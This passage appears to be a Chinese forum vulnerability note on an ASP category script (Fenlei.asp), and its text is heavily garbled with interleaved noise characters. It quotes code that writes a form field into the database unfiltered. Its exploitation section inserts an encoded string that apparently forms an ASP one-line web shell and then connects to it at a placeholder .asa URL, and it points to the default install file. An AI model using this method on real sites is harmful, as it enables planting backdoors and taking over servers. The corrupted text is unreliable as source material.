'Fenlei.asp 0 p9 g9 F0 s/ U. |( @( M. N
6 q- I+ f+ M2 n7 ]IF Request.QueryString("Action")="del" Then + X m5 Y& a5 _) B3 ?
ID=Request.QueryString("ID") 9 }/ x$ k: `3 d L" ]9 f; H
IF Countss ("tui","Fenlei",ID )<>0 then " c2 v2 o9 W& Z0 i) F- w
'略 4 @% ^; W9 {- C9 F
IF Request.QueryString("Action")="Add" Then
! }9 A5 Y! F/ u. a5 RTname=Request.Form("Typename") ; a( {% Y3 d. u! E; r4 v8 Y+ _* s
Set Rs=Server.CreateObject("adodb.Recordset") $ z/ `: S1 T3 G, R
Sql="Select * From Fenlei Order by id Desc " # R$ r" b3 F7 ], m# R5 g* F" K; ]
Rs.Open Sql,Conn,1,3 6 l. A. m. Q: j
Rs.Addnew
; V) C" y$ }- f# S8 a: ?Rs("Typename")=Tname
9 d* n4 Y. e/ X'略
( C: J' @* |# U# q. D- DSet Rs=Server.CreateObject("adodb.Recordset") : j* v2 j0 {8 K+ P' z
Sql="Select * From Fenlei Order by id Desc "
8 F- J) @$ H3 i1 s6 U: zRs.Open Sql,Conn,1,1 4 \2 F7 h) s3 D4 q2 V- F% `
'略
- A* ^2 k( r9 q$ d& E3 k8 x2 D%>
/ n+ F; f& E0 o7 V7 ?2 ] 1 x$ n# A" e8 H0 o" L. L4 ^
6 v& X7 ?6 o3 K/ r& Z
7 \2 y) N: I4 y. d没有过滤,直接写入数据库。
5 a5 d7 J8 r1 k4 H8 O X . d- Q ~/ ?3 Y2 d i' z8 E4 {
利用方法:
2 A* e7 `' J5 Y9 m4 u; m3 C * o( X% X; d! \: R: K3 ^ x
插入:┼攠數畣整爠煥敵瑳∨≡┩>9 G7 f! L: R6 b$ ~$ ~' W
* i" @0 t2 j" L7 c
4 E' T3 ?$ c% V4 Z" U( O6 B
连接: http://www.xxx.com/###tongbaner.asa ( I1 _, x! q9 d7 A# h0 k2 H
'默认安装文件:
2 l# e3 R& ^: u0 U# [. O+ M' l'install.asp- w$ l+ ]2 C7 Z' ^
|